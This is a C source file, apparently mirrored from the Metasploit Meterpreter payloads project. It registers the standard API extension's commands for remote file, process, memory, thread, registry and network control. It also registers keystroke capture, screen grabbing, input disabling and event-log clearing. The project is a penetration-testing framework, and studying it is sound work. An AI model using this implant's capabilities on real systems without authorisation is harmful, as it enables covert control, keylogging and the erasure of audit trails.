mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-04-18 07:11:12 +02:00
370 lines
14 KiB
C
370 lines
14 KiB
C
/*
|
|
* This module provides access to the standard API of the machine in some
|
|
* regards
|
|
*/
|
|
#include "precomp.h"
|
|
|
|
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
|
|
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
|
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
|
#ifdef _WIN32
|
|
#include "../../../ReflectiveDLLInjection/ReflectiveLoader.c"
|
|
#endif
|
|
// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor
|
|
|
|
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
|
EnableDelayLoadMetSrv();
|
|
|
|
// General
|
|
extern DWORD request_general_channel_open(Remote *remote, Packet *packet);
|
|
|
|
Command customCommands[] =
|
|
{
|
|
// General
|
|
{ "core_channel_open",
|
|
{ request_general_channel_open, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
|
|
// Fs
|
|
{ "stdapi_fs_ls",
|
|
{ request_fs_ls, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_fs_getwd",
|
|
{ request_fs_getwd, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_fs_chdir",
|
|
{ request_fs_chdir, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_fs_mkdir",
|
|
{ request_fs_mkdir, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_fs_delete_dir",
|
|
{ request_fs_delete_dir, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_fs_delete_file",
|
|
{ request_fs_delete_file, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_fs_stat",
|
|
{ request_fs_stat, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_fs_file_expand_path",
|
|
{ request_fs_file_expand_path, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
|
|
// Process
|
|
{ "stdapi_sys_process_attach",
|
|
{ request_sys_process_attach, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_process_close",
|
|
{ request_sys_process_close, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_process_execute",
|
|
{ request_sys_process_execute, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_process_kill",
|
|
{ request_sys_process_kill, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_process_get_processes",
|
|
{ request_sys_process_get_processes, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_process_getpid",
|
|
{ request_sys_process_getpid, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_process_get_info",
|
|
{ request_sys_process_get_info, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_process_wait",
|
|
{ request_sys_process_wait, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
|
|
// Image
|
|
{ "stdapi_sys_process_image_load",
|
|
{ request_sys_process_image_load, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_process_image_get_proc_address",
|
|
{ request_sys_process_image_get_proc_address, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_process_image_unload",
|
|
{ request_sys_process_image_unload, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_process_image_get_images",
|
|
{ request_sys_process_image_get_images, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
|
|
// Memory
|
|
{ "stdapi_sys_process_memory_allocate",
|
|
{ request_sys_process_memory_allocate, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_process_memory_free",
|
|
{ request_sys_process_memory_free, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_process_memory_read",
|
|
{ request_sys_process_memory_read, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_process_memory_write",
|
|
{ request_sys_process_memory_write, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_process_memory_query",
|
|
{ request_sys_process_memory_query, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_process_memory_protect",
|
|
{ request_sys_process_memory_protect, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_process_memory_lock",
|
|
{ request_sys_process_memory_lock, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_process_memory_unlock",
|
|
{ request_sys_process_memory_unlock, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
|
|
// Thread
|
|
{ "stdapi_sys_process_thread_open",
|
|
{ request_sys_process_thread_open, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_process_thread_create",
|
|
{ request_sys_process_thread_create, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_process_thread_close",
|
|
{ request_sys_process_thread_close, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_process_thread_get_threads",
|
|
{ request_sys_process_thread_get_threads, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_process_thread_suspend",
|
|
{ request_sys_process_thread_suspend, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_process_thread_resume",
|
|
{ request_sys_process_thread_resume, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_process_thread_terminate",
|
|
{ request_sys_process_thread_terminate, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_process_thread_query_regs",
|
|
{ request_sys_process_thread_query_regs, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_process_thread_set_regs",
|
|
{ request_sys_process_thread_set_regs, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
|
|
// Registry
|
|
{ "stdapi_registry_open_key",
|
|
{ request_registry_open_key, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_registry_create_key",
|
|
{ request_registry_create_key, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_registry_enum_key",
|
|
{ request_registry_enum_key, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_registry_delete_key",
|
|
{ request_registry_delete_key, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_registry_close_key",
|
|
{ request_registry_close_key, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_registry_set_value",
|
|
{ request_registry_set_value, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_registry_query_value",
|
|
{ request_registry_query_value, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_registry_enum_value",
|
|
{ request_registry_enum_value, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_registry_delete_value",
|
|
{ request_registry_delete_value, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
|
|
// Sys/config
|
|
{ "stdapi_sys_config_getuid",
|
|
{ request_sys_config_getuid, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_config_sysinfo",
|
|
{ request_sys_config_sysinfo, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_config_rev2self",
|
|
{ request_sys_config_rev2self, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
|
|
// Net
|
|
{ "stdapi_net_config_get_routes",
|
|
{ request_net_config_get_routes, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_net_config_add_route",
|
|
{ request_net_config_add_route, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_net_config_remove_route",
|
|
{ request_net_config_remove_route, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_net_config_get_interfaces",
|
|
{ request_net_config_get_interfaces, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
// Socket
|
|
{ "stdapi_net_socket_tcp_shutdown",
|
|
{ request_net_socket_tcp_shutdown, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
|
|
// UI
|
|
{ "stdapi_ui_enable_mouse",
|
|
{ request_ui_enable_mouse, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_ui_enable_keyboard",
|
|
{ request_ui_enable_keyboard, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_ui_get_idle_time",
|
|
{ request_ui_get_idle_time, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_ui_grabdesktop",
|
|
{ request_ui_grabdesktop, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_ui_start_keyscan",
|
|
{ request_ui_start_keyscan, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_ui_stop_keyscan",
|
|
{ request_ui_stop_keyscan, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_ui_get_keys",
|
|
{ request_ui_get_keys, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
|
|
// Event Log
|
|
{ "stdapi_sys_eventlog_open",
|
|
{ request_sys_eventlog_open, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_eventlog_numrecords",
|
|
{ request_sys_eventlog_numrecords, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_eventlog_read",
|
|
{ request_sys_eventlog_read, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_eventlog_oldest",
|
|
{ request_sys_eventlog_oldest, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_eventlog_clear",
|
|
{ request_sys_eventlog_clear, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
{ "stdapi_sys_eventlog_close",
|
|
{ request_sys_eventlog_close, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
|
|
{ "stdapi_sys_power_exitwindows",
|
|
{ request_sys_power_exitwindows, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
|
|
// Terminator
|
|
{ NULL,
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
};
|
|
|
|
/*
|
|
* Initialize the server extension
|
|
*/
|
|
#ifdef _WIN32
|
|
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
|
#else
|
|
DWORD InitServerExtension(Remote *remote)
|
|
#endif
|
|
{
|
|
DWORD index;
|
|
#ifdef _WIN32
|
|
hMetSrv = remote->hMetSrv;
|
|
#endif
|
|
for (index = 0;
|
|
customCommands[index].method;
|
|
index++)
|
|
command_register(&customCommands[index]);
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
/*
|
|
* Deinitialize the server extension
|
|
*/
|
|
#ifdef _WIN32
|
|
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
|
#else
|
|
DWORD DeinitServerExtension(Remote *remote)
|
|
#endif
|
|
{
|
|
DWORD index;
|
|
|
|
for (index = 0;
|
|
customCommands[index].method;
|
|
index++)
|
|
command_deregister(&customCommands[index]);
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|